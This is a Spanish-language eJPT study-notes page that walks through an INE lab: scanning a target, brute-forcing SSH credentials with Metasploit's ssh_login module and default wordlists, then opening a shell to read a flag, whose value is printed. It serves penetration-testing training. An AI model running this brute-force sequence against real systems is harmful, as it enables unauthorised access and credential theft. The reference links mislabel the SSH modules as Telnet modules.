> For the complete documentation index, see [llms.txt](https://4lec4st.gitbook.io/4lec4st/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://4lec4st.gitbook.io/4lec4st/ejpt-notes/pruebas-de-penetracion-de-host-y-red/ataques-basados-en-sistema-host/linux/explotacion-de-las-vulnerabilidades-de-linux/explotacion-ssh.md).

# Explotación SSH

## 🔐 ¿Qué es SSH?

**SSH (Secure Shell)** es un protocolo de administración remota que proporciona cifrado, y es el sucesor seguro de **Telnet**.

* 🖥️ Se utiliza principalmente para acceder de forma remota a **servidores y sistemas**.
* 🔌 Utiliza el **puerto TCP 22** por defecto, aunque puede ser configurado para funcionar en **cualquier otro puerto abierto**.

***

## 🔑 Métodos de Autenticación

SSH puede configurarse para autenticar usuarios de dos maneras principales:

1. **Usuario y contraseña**
2. **Autenticación basada en clave (key-based)**

***

## 🧨 Explotación

* Cuando SSH está configurado con **autenticación por usuario y contraseña**, es posible realizar **ataques de fuerza bruta** para descubrir credenciales válidas.
* Una vez obtenidas, se puede acceder legítimamente al sistema objetivo mediante SSH.

***

## 🧪 Laboratorio Práctico

**Paso 1:** Abra el enlace del laboratorio para acceder a la máquina Kali.

<figure><img src="/files/EvGPgqwqU3qfasrdeNKe" alt=""><figcaption></figcaption></figure>

**Paso 2:** Verifique si la máquina de destino es accesible:

**Dominio:**

```
ping -c 4 demo.ine.local
```

<figure><img src="/files/1Am43Hti25ragrd5hP8A" alt=""><figcaption></figcaption></figure>

El objetivo es alcanzable.

**Paso 3:** Ejecute un escaneo de Nmap contra el objetivo:

**Dominio:**

```
nmap -sS -sV demo.ine.local
```

<figure><img src="/files/VeWN6Vremv1VnmLPhbKf" alt=""><figcaption></figcaption></figure>

**Paso 4:** Hemos detectado que el servicio SSH se está ejecutando en la máquina de destino. Utilizaremos los módulos auxiliares proporcionados para el destino.

**Comandos:**

```
msfconsole
use auxiliary/scanner/ssh/ssh_version
set RHOSTS demo.ine.local
exploit
```

<figure><img src="/files/Lrik3McvaBxre3E4u5tt" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/l3d5rVsaPfLaJaMFqsHX" alt=""><figcaption></figcaption></figure>

Ahora usaremos el módulo ssh\_login para encontrar las credenciales válidas para acceder al servidor ssh.

**Comandos:**

```
use auxiliary/scanner/ssh/ssh_login
set RHOSTS demo.ine.local
set USER_FILE /usr/share/metasploit-framework/data/wordlists/common_users.txt
set PASS_FILE /usr/share/metasploit-framework/data/wordlists/common_passwords.txt
set STOP_ON_SUCCESS true
set VERBOSE true
exploit
```

<figure><img src="/files/NmiYPwNRY2FUX4ph7499" alt=""><figcaption></figcaption></figure>

**Paso 5:** Encuentra la bandera.

**Comandos:**

```
sessions
sessions -i 1
find / -name "flag"
cat /flag
```

<figure><img src="/files/myEFAB8DvK83GInj7I5W" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/up0icN7W5XhahaJGvuVq" alt=""><figcaption></figcaption></figure>

Esto nos revela la bandera.

**Bandera:** eb09cc6f1cd72756da145892892fbf5a

## Conclusión

En este laboratorio, exploramos un par de módulos de metasploit relacionados con SSH y los ejecutamos contra el objetivo.

## Referencias

* [SSH](https://en.wikipedia.org/wiki/Secure_Shell)
* [Módulo auxiliar de inicio de sesión Telnet](https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh_login)
* [Módulo auxiliar de detección de versión de Telnet](https://www.rapid7.com/db/modules/auxiliary/scanner/ssh/ssh_version)
